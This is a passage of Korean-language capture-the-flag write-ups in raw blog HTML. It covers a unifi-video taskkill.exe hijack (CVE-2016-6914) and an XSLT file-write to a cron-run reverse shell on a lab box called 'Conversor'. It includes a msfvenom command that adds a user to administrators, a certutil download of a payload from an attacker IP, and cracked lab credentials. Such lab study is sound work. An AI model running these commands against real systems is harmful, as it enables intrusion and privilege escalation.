src="https://www.notion.so/image/attachment%3A6c191fbd-8c0a-471a-a49d-16ebb5bba383%3Aimage.png?table=block&amp;id=aad2196f-526b-826d-b55f-81491e7ee81b&amp;t=aad2196f-526b-826d-b55f-81491e7ee81b" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-a1a2196f526b828aa24001773528300e"><li><code class="notion-inline-code">C:\Windows\Tasks</code> 경로에서 실행할 수 있었다.</li></ul><div class="notion-blank notion-block-5fc2196f526b832981c00128ddee8d07"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-79f2196f526b828a96210189813e11fc"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A1f207ec1-8595-4f34-98d6-7abd2bcd1745%3Aimage.png?table=block&amp;id=79f2196f-526b-828a-9621-0189813e11fc&amp;t=79f2196f-526b-828a-9621-0189813e11fc" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-0542196f526b82cd870301737150fd4a"><li>일단 unifi-video라는 키워드가 눈에띈다. 
(처음 winrm접근시에 Stacy/Document에도 관련 파일이 존재했었음)</li></ul><ul class="notion-list notion-list-disc notion-block-a9a2196f526b83d698f381a01f4f9107"><li>그리고 unattend.xml도 관리자의 자동 설정 관련된 내용도 있을 수 있기 때문에 봐야한다.</li></ul><div class="notion-blank notion-block-0892196f526b82869f16810f6d5f6acb"> </div><div class="notion-text notion-block-0832196f526b831cb4bd0111a410f107"><code class="notion-inline-code">cat C:\Windows\Panther\Unattend.xml</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-95b2196f526b83e7b95a816071a620e9"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A4b674a60-82e4-46fb-bed8-f167ec171117%3Aimage.png?table=block&amp;id=95b2196f-526b-83e7-b95a-816071a620e9&amp;t=95b2196f-526b-83e7-b95a-816071a620e9" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-aa62196f526b82589b64815ed92e7d0d"><li>일단 unattend.xml부터 읽어봤는데 뜻밖에 응원을 받았다..ㅋㅋ</li></ul><div class="notion-blank notion-block-6d02196f526b838e9b3081206de72bf7"> </div><div class="notion-text notion-block-e912196f526b83d8b4aa818943d47e30"><code class="notion-inline-code">Get-Content C:\ProgramData\unifi-video\logs\server.log -TotalCount 20</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-c3b2196f526b835394b101743d03627d"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A381e90a1-d1ca-4791-8b9a-c8b117190828%3Aimage.png?table=block&amp;id=c3b2196f-526b-8353-94b1-01743d03627d&amp;t=c3b2196f-526b-8353-94b1-01743d03627d" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-5162196f526b837abb1481f961e164d2"><li>그리고 unifi-video에 대해 구글링을 해봤는데 3.8 이전버전에서 CVE가 존재하는걸 확인했다.</li></ul><ul class="notion-list notion-list-disc notion-block-16b2196f526b82e884b101b0713b4dc4"><li>그리고 로그 앞단을 확인해서 부팅시에 3.7.3으로 부팅되는걸 확인했다!</li></ul><div class="notion-blank notion-block-d7d2196f526b82df80b701e16bdc88f5"> </div><div class="notion-text notion-block-8c42196f526b834190060142a861d5fc"><b>CVE-2016-6914</b></div><ul class="notion-list notion-list-disc notion-block-4602196f526b82268770812f5462c175"><li>unifi-video 서비스가 종료될 때 프로세스를 정리하기 위해 윈도우 기본 명령어인 taskkill.exe를 호출한다.</li></ul><ul class="notion-list notion-list-disc notion-block-f502196f526b8298885781dbcc5bc73e"><li>이때 절대경로를 지정하지 않고 taskkill.exe로 지정해서 현재 경로부터 실행파일을 찾기 때문에 해당 경로에 같은 이름의 악성 스크립트를 저장해 놓으면 root 권한으로 원하는 스크립트를 실행시킬 수 있다.</li></ul><div class="notion-blank notion-block-f8e2196f526b82a3a62f01b87bdd967d"> </div><div class="notion-text notion-block-8fb2196f526b837894570189dc97731d"><code class="notion-inline-code">icacls .</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-0d02196f526b8364b2b281d77ef9838e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A9ebab242-ad35-4f25-b589-eb6956c867a1%3Aimage.png?table=block&amp;id=0d02196f-526b-8364-b2b2-81d77ef9838e&amp;t=0d02196f-526b-8364-b2b2-81d77ef9838e" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-add2196f526b8292b549013b92d5c17b"><li>먼저 CVE를 활용하기 위해 해당 경로에 파일 쓰기권한이 있는지 체크</li></ul><ul class="notion-list notion-list-disc notion-block-9172196f526b835aaf278116cfe0afc8"><li>상속(Inherit) 규칙</li><ul class="notion-list notion-list-disc notion-block-9172196f526b835aaf278116cfe0afc8"><li>(I) : 상위 폴더에서 물려받음 (Inherited)</li><li>(OI) : 하위 파일에 똑같이 적용 (Object Inherit)</li><li>(CI) : 하위 폴더에 똑같이 적용 (Container Inherit)</li><li>(IO) : 현재 폴더는 냅두고 하위에만 적용 (Inherit Only)</li></ul></ul><ul class="notion-list notion-list-disc notion-block-2162196f526b83b8bd6681648bb32eae"><li>권한</li><ul class="notion-list notion-list-disc notion-block-2162196f526b83b8bd6681648bb32eae"><li>(F) : 모든 권한 (Full Control) - 관리자용</li><li>(RX) : 읽기 및 실행 (Read &amp; eXecute) - 일반 사용자 기본값</li><li>(WD) : 파일 쓰기/생성 (Write Data) </li><li>(AD) : 내용 추가/폴더 생성 (Append Data)</li><li>(WEA) : 확장 속성 변경 (Write Extended Attributes)</li><li>(WA) : 파일 속성 변경 (Write Attributes)</li></ul></ul><ul class="notion-list notion-list-disc notion-block-8b32196f526b82a6856281b9fe05cbc7"><li>일반 Users가 파일쓰기와 추가 등이 가능했다!! </li></ul><div class="notion-blank notion-block-b462196f526b82d4a76e01ec060a4e62"> </div><div class="notion-text notion-block-e652196f526b826793af8113503d9e42"> <code class="notion-inline-code">msfvenom -p windows/exec CMD=&quot;net localgroup administrators Stacy /add&quot; -f exe -o taskkill.exe</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ac12196f526b824f97b381aae36dc0ce"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aa48754be-162e-4ac6-8fb1-f24148910a38%3Aimage.png?table=block&amp;id=ac12196f-526b-824f-97b3-81aae36dc0ce&amp;t=ac12196f-526b-824f-97b3-81aae36dc0ce" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-74b2196f526b823581f40180763e6afe"><li>기존 Stacy 유저를 administrators 그룹에 추가하는 내용의 스크립트를 taskkill.exe로 만든다.</li></ul><div class="notion-blank notion-block-8e12196f526b8243b50581ca3d229bef"> </div><div class="notion-text notion-block-f322196f526b83278828814bb8642c3b"><code class="notion-inline-code">certutil.exe -urlcache -f </code><code class="notion-inline-code"><a class="notion-link" href="http://10.10.14.116:100/taskkill.exe" target="_blank" rel="noopener noreferrer">http://10.10.14.116:100/taskkill.exe</a></code><code class="notion-inline-code"> taskkill.exe</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-b042196f526b83dc916e814bb63e83ef"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A27c1f7b9-0e52-43d2-9f21-58943dae34a5%3Aimage.png?table=block&amp;id=b042196f-526b-83dc-916e-814bb63e83ef&amp;t=b042196f-526b-83dc-916e-814bb63e83ef" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-6942196f526b835c931d813f9d5f446b"><li>그리고 unifi-video 경로에 복사한다.</li></ul><div class="notion-blank notion-block-3932196f526b83c3932601717457ea2f"> </div><div class="notion-text notion-block-e512196f526b83a0ad4c81adea6ebbec"><code class="notion-inline-code">Stop-Service &quot;UniFiVideoService”</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8202196f526b839a8593013adc5119f7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A3c64105a-6c63-4701-89f5-ba90a93f966f%3Aimage.png?table=block&amp;id=8202196f-526b-839a-8593-013adc5119f7&amp;t=8202196f-526b-839a-8593-013adc5119f7" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-aeb2196f526b82168d8981aeb876e87e"><li>마지막으로 UniFiVideoService를 종료해주면 현재폴더의 taskkill.exe가 먼저 호출되면서 Stacy가 관리자 그룹에 추가될것이다.</li></ul><ul class="notion-list notion-list-disc notion-block-0232196f526b8211b50681eff9d9358d"><li>참고로 여기서 <code class="notion-inline-code">net stop &quot;UniFiVideoService”</code> 를 먼저 시도하였는데 권한이 부족해서 <code class="notion-inline-code">Stop-Service</code>를 사용하니 작동했다.</li></ul><div class="notion-blank notion-block-2e02196f526b8336a2bb01ec2028dec2"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-4042196f526b82b19c838144bd1edb74"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7565c939-0f13-4d99-aa93-4414531fc5aa%3Aimage.png?table=block&amp;id=4042196f-526b-82b1-9c83-8144bd1edb74&amp;t=4042196f-526b-82b1-9c83-8144bd1edb74" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-9cf2196f526b834b9fc701d190f72632"><li>Winrm에 재접속 해주면 Administrator 폴더에 접근할수 있게되어 권한상승에 성공한다.</li></ul><ul class="notion-list notion-list-disc notion-block-c662196f526b8377b66101a862622a69"><li>root flag 획득!!</li></ul></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Conversor]]></title>
            <link>https://blog.meowyeok.kr/article/f802196f-526b-8370-8bec-81b278670169</link>
            <guid>https://blog.meowyeok.kr/article/f802196f-526b-8370-8bec-81b278670169</guid>
            <pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-f802196f526b83708bec81b278670169"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-6592196f526b82dabf0b815e497af513"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:499.98016357421875px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A62ba0eeb-4785-457b-bb26-21683590c2f0%3Aimage.png?table=block&amp;id=6592196f-526b-82da-bf0b-815e497af513&amp;t=6592196f-526b-82da-bf0b-815e497af513" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-da92196f526b8246a27101efb2e64543"> </div><div class="notion-table-of-contents notion-gray notion-block-7b92196f526b828ea306014a7e5ebf49"><a href="#c152196f526b82bf8ec0013f731f784e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Reconnaissance</span></a><a href="#a092196f526b828d81bf819a01b56887" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Exploitation</span></a><a href="#8c12196f526b838c838f01114f683375" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Privilege Escalation</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-c152196f526b82bf8ec0013f731f784e" data-id="c152196f526b82bf8ec0013f731f784e"><span><div id="c152196f526b82bf8ec0013f731f784e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c152196f526b82bf8ec0013f731f784e" title="Reconnaissance"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Reconnaissance</span></span></h2><div class="notion-text notion-block-b482196f526b82a0bae6014699a993fa">nmap결과 22와 80포트가 열려있었다.</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ffd2196f526b8398a2ff81fa3e4087d2"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A5f270695-1049-4bbf-8100-b95e551cf081%3Aimage.png?table=block&amp;id=ffd2196f-526b-8398-a2ff-81fa3e4087d2&amp;t=ffd2196f-526b-8398-a2ff-81fa3e4087d2" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-39a2196f526b82ce8b28811e9babc957"> </div><div class="notion-text notion-block-06c2196f526b82f1baf781411e7cf56c">80포트 웹 사이트</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-f1e2196f526b83a7a82f0195871b52f0"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:432px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A36c62aeb-ed1d-4c85-8219-8db77cb355ec%3Aimage.png?table=block&amp;id=f1e2196f-526b-83a7-a82f-0195871b52f0&amp;t=f1e2196f-526b-83a7-a82f-0195871b52f0" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-c8b2196f526b820f8b27811054270fbc"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:432px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aa4ee2d86-b77c-4646-b535-a44cce0160fc%3Aimage.png?table=block&amp;id=c8b2196f-526b-820f-8b27-811054270fbc&amp;t=c8b2196f-526b-820f-8b27-811054270fbc" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-13a2196f526b822e9b3e01c1fcd5076c"><li>XML과 XSLT파일을 업로드하여 html로 변환되는 로직을 가진 서비스였다.</li></ul><ul class="notion-list notion-list-disc notion-block-23e2196f526b83a4879e0173fd26e0fd"><li>그리고 about 페이지에서 소스코드를 얻을 수 있었다.</li></ul><div class="notion-blank notion-block-e282196f526b82dcb15e817d7192ec49"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-a092196f526b828d81bf819a01b56887" data-id="a092196f526b828d81bf819a01b56887"><span><div id="a092196f526b828d81bf819a01b56887" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a092196f526b828d81bf819a01b56887" title="Exploitation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Exploitation</span></span></h2><div class="notion-text notion-block-deb2196f526b82f892aa815a52f63822"><code class="notion-inline-code">app.py</code></div><ul class="notion-list notion-list-disc notion-block-ffb2196f526b82ad9792015243d2f410"><li>XML을 사용하는 서비스라서 XXE를 의심했지만 XMLParser 옵션때문에 막힌다.</li></ul><ul class="notion-list notion-list-disc notion-block-e992196f526b829ca13c016633ff95e6"><li>하지만 자세히 보면 보안옵션이 적용된 parser는 xml_tree에만 인자로 넘어가고, xslt_tree 파싱때에는 넘어가지 않는걸 알 수 있다. xslt파싱때에는 보안옵션이 적용되지 않을거라고 예상된다.</li></ul><div class="notion-blank notion-block-c7b2196f526b8246ac288172de65b5a6"> </div><div class="notion-text notion-block-61e2196f526b83f0bfa3013026280829"><code class="notion-inline-code">ex.xslt</code></div><ul class="notion-list notion-list-disc notion-block-5cd2196f526b827ea3bf01d423af1cf2"><li>document() 함수를 이용해서 여러 시도를 해보던중, 기본 경로가 “/var/www/consersor.htb/uploads/”임을 알아내었다. (file://이나 <a class="notion-link" href="http://는" target="_blank" rel="noopener noreferrer">http://는</a> 인식하지 못했음)</li></ul><ul class="notion-list notion-list-disc notion-block-6542196f526b823f98ea011277f17e61"><li>주어진 소스코드의 구조대로 코드에 접근해보려했으나 내부에 힌트가 될만한 단서들에 모두 접근이 잘 안되었다. (app.py, index.html, /etc/passwd…) 그래서 인터넷에서 힌트를 좀 얻어보니 다른 접근이 필요한걸 알게되었다.</li></ul><div class="notion-blank notion-block-b112196f526b837e9b62012ac5a38f75"> </div><ul class="notion-list notion-list-disc notion-block-5c82196f526b824eaec5811e1986bf6a"><li>우선 맨 마지막줄을 보면 crontab항목이 설정되어있는걸 알 수 있다.</li></ul><ul class="notion-list notion-list-disc notion-block-f032196f526b821b978781ba55aee750"><li>scripts폴더 밑에 .py로 끝나는 파이썬파일을 매분 실행하는 cron 구문이다.</li></ul><ul class="notion-list notion-list-disc notion-block-3db2196f526b82f1a61381b6d961697c"><li>여기에 파이썬 리버스셸 코드를 올릴수 있다면 셸을 얻어낼 수 있을것이다!</li></ul><div class="notion-blank notion-block-c872196f526b83febc060116bdbbbc4e"> </div><ul class="notion-list notion-list-disc notion-block-d292196f526b828baf7f812001d9eb7a"><li>libxslt가 EXSLT의 확장기능을 허용한다면 사용 가능한 원격 파일 쓰기 xslt 코드이다.</li></ul><ul class="notion-list notion-list-disc notion-block-f832196f526b8366acd901ed4f9f7d9a"><li>이를 통해 python reverse shell을 scripts폴더에 넣어놓고 공격서버에선 리스너를 켜놓고 기다리면 성공적으로 리버스셸이 연결된다.</li><ul class="notion-list notion-list-disc notion-block-f832196f526b8366acd901ed4f9f7d9a"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-fc82196f526b82e4b67281ffd50cd59e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:576px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7f2a6169-5315-4d83-a945-f72ac70916e4%3Aimage.png?table=block&amp;id=fc82196f-526b-82e4-b672-81ffd50cd59e&amp;t=fc82196f-526b-82e4-b672-81ffd50cd59e" alt="notion image" loading="lazy" decoding="async"/></div></figure></ul></ul><div class="notion-text notion-block-9672196f526b8330afaa811511ba19ed"> </div><div class="notion-text notion-block-5642196f526b8348be1d012f7992130b"><code class="notion-inline-code">users.db</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-64a2196f526b834cbb7281e3de6e5cc5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:576px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A5dfc351a-c4a7-400c-b3d2-3b383710375d%3Aimage.png?table=block&amp;id=64a2196f-526b-834c-bb72-81e3de6e5cc5&amp;t=64a2196f-526b-834c-bb72-81e3de6e5cc5" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-2362196f526b82e7b7be01faad98a990"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:576px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ad4d035e4-7275-492d-9db1-69b4bdbf4087%3Aimage.png?table=block&amp;id=2362196f-526b-82e7-b7be-01faad98a990&amp;t=2362196f-526b-82e7-b7be-01faad98a990" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-b8f2196f526b826ab66f8106cd3f5822"><li>www-data 홈 디렉터리에는 플래그가 없어서 /home을 보니 fismathack라는 다른 유저가 있었다. 다음 단계는 이걸 얻어내는것 같은데 여기에 넣을만한 알고있는 비밀번호가 없어서 instance/users.db를 까보니까 MD5로 암호화되어있는 크리덴셜이 존재했다.</li></ul><ul class="notion-list notion-list-disc notion-block-42e2196f526b829699e88167e3f87766"><li>hashcat과 rockyou.txt를 이용해서 크리덴셜을 얻어주었다.</li></ul><div class="notion-blank notion-block-8132196f526b820e811101e9b364d568"> </div><div class="notion-text notion-block-7cd2196f526b830a8c10011c1b2518f3">( fismathack / Keepmesafeandwarm)</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8542196f526b82b4bcb20175351ce49e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:480px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Af6fcc483-f0e3-46cc-9089-953766c2b221%3Aimage.png?table=block&amp;id=8542196f-526b-82b4-bcb2-0175351ce49e&amp;t=8542196f-526b-82b4-bcb2-0175351ce49e" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-ed12196f526b8347b378818303a5488d"><li>user flag획득!!</li></ul><div class="notion-blank notion-block-c272196f526b82dcad3181a74466cf63"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-8c12196f526b838c838f01114f683375" data-id="8c12196f526b838c838f01114f683375"><span><div id="8c12196f526b838c838f01114f683375" class="notion-header-anchor"></div><a class="notion-hash-link" href="#8c12196f526b838c838f01114f683375" title="Privilege Escalation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Privilege Escalation</span></span></h2><div class="notion-text notion-block-8f62196f526b823c9f5a8166dec1d355"><code class="notion-inline-code">sudo -l</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-56f2196f526b823db1b98143066b54b7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aee4544b5-3521-4a99-93d4-84b287b7025b%3Aimage.png?table=block&amp;id=56f2196f-526b-823d-b1b9-8143066b54b7&amp;t=56f2196f-526b-823d-b1b9-8143066b54b7" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-b872196f526b8337b5ce81459db681e3"><li>저번 문제풀이때도 sudo -l로 금방 권한상승 단서를 얻었어서 이번에도 해봤는데 바로 단서가 나왔다.</li></ul><ul class="notion-list notion-list-disc notion-block-a172196f526b82148ae4810e9c175fc4"><li>‘NOPASSWD: /usr/sbin/needrestart’ 라는 키워드로 구글링을 해보니 <b><a class="notion-link" href="https://github.com/Serner77/CVE-2024-48990-Automatic-Exploit" target="_blank" rel="noopener noreferrer">CVE-2024-48990</a></b>를 활용하면 되는걸 알 수 있었다.</li><ul class="notion-list notion-list-disc notion-block-a172196f526b82148ae4810e9c175fc4"><li><a class="notion-external notion-external-mention" href="https://github.com/Serner77/CVE-2024-48990-Automatic-Exploit" target="_blank" rel="noopener noreferrer"><div class="notion-external-image"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-external-description"><div class="notion-external-title">CVE-2024-48990-Automatic-Exploit</div><div class="notion-external-subtitle"><div class="notion-preview-card-domain-warp"><div class="notion-preview-card-logo"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 